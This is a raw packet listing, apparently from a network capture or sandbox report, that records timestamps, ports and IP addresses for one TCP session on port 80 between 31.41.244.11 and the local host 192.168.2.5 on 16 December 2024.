Dec 16, 2024 09:01:23.097676039 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.097729921 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.097862005 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.098083973 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.100471020 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.100600004 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.100609064 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.100881100 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.103189945 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.103247881 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.103296041 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.103343964 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.105828047 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.105895042 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.105938911 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.105986118 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.108572960 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.108658075 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.108709097 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.110934019 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.110992908 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.111066103 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.111259937 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.113539934 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.113611937 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.113615990 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.113660097 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.116087914 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.116137028 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.116188049 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.116231918 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.118511915 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.118630886 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.118684053 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.120954990 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.121010065 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.121087074 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.121198893 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.123400927 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.123471975 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.123528004 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.123734951 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.125873089 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.125973940 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.125973940 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.126019001 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.128200054 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.128263950 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.128299952 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.128345966 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.130512953 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.130564928 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.130635977 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.130690098 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.132877111 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.132935047 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.133008003 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.133063078 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.135221958 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.135344028 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.135365963 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.135438919 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.137531996 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.137590885 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.137629032 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.137700081 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.139920950 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.139960051 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.139991045 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.140012980 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.142184019 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.142239094 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.142257929 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.142313004 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.144309998 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.144478083 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.144882917 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.144932032 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.146548033 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.146625042 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.146667957 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.146719933 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.148586035 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.148684978 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.148711920 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.148792028 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.150698900 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.150753975 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.150825977 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.150877953 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.152834892 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.152889013 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.152957916 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.153014898 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.154937983 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.154994965 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.155046940 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.155112028 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.157059908 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.157114983 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.157155037 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.157206059 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.159116983 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.159173012 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.159230947 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.159275055 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.161212921 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.161354065 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.161365032 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.161422968 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.163218021 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.163268089 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.163342953 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.163415909 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.165210009 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.165266991 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.165322065 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.165369034 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.167216063 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.167269945 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.167351007 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.167399883 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.169204950 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.169260979 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.169306040 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.169411898 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.171217918 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.171276093 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.171334982 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.171376944 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.176078081 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.176136971 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.176146030 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.176183939 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.176983118 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.177038908 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.177038908 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.177081108 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.178726912 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.178787947 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.178860903 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.178904057 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.180495024 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.180545092 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.180612087 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.180663109 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.182209969 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.182271004 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.182332039 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.182379961 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.184003115 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.184072018 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.184082031 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.184153080 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.185703039 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.185806036 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.185826063 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.185874939 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.187474012 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.187525988 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.187530041 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.187572002 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.189158916 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.189244986 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.189284086 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.189327955 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.190905094 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.190957069 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.190985918 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.191030025 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.192569017 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.192629099 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.192675114 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.192722082 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.194206953 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.194284916 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.194295883 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.194350958 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.195902109 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.195967913 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.196022987 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.196172953 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.197613955 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.197669983 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.197724104 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.199207067 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.199285984 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.199348927 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.199408054 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.200812101 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.200906992 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.200978994 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.201031923 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.202454090 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.202512980 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.202581882 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.202636957 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.204077005 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.204128027 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.204197884 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.204241991 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.205687046 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.205743074 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.205769062 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.205796003 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.207330942 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.207389116 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.207457066 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.207511902 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.209067106 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.209124088 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.209177017 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.209232092 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.210529089 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.210591078 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.210648060 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.210834026 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.212106943 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.212168932 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.212177038 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.212222099 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.213690996 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.213781118 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.213963032 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.214035988 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.215169907 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.215243101 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.215343952 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.215385914 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.216780901 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.216835976 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.216850042 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.216878891 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.218354940 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.218390942 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.218420982 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.218440056 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.219845057 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.219899893 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.220180988 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.220258951 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.221259117 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.221376896 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.221396923 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.221453905 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.222750902 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.222853899 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.222907066 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.224359989 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.224507093 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.224566936 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.225692987 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.225748062 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.225816011 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.225860119 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.227189064 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.227274895 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.227348089 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.228641033 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.228713036 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.228760004 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.228807926 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.230027914 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.230087042 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.230159044 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.230205059 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.231481075 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.231640100 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.231702089 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.232882023 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.232944965 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.233005047 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.233052969 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.234261036 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.234328985 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.234397888 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.234441996 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.235620975 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.235738993 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.235799074 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.236985922 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.237061024 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.237108946 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.237158060 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.238491058 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.238532066 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.238564014 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.238586903 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.239679098 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.239784002 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.239841938 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.241035938 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.241106033 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.241144896 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.241198063 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.242363930 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.242448092 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.242475986 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.242522001 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.243686914 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.243751049 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.243813992 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.243908882 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.244978905 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.245043039 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.245112896 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.245779037 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.246309042 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.246370077 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.246427059 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.246473074 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.247608900 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.247720003 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.247773886 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.249046087 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.249125004 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.249138117 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.249195099 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.250180960 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.250236034 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.250279903 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.250298023 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.251485109 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.251585960 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.252649069 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.252705097 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.253896952 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.254014969 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.255125046 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.255179882 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.255954027 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.256376982 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.256459951 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.256592989 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.257546902 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.257666111 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.257740021 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.258773088 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.258872032 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.258903980 CET	80	49849	31.41.244.11	192.168.2.5
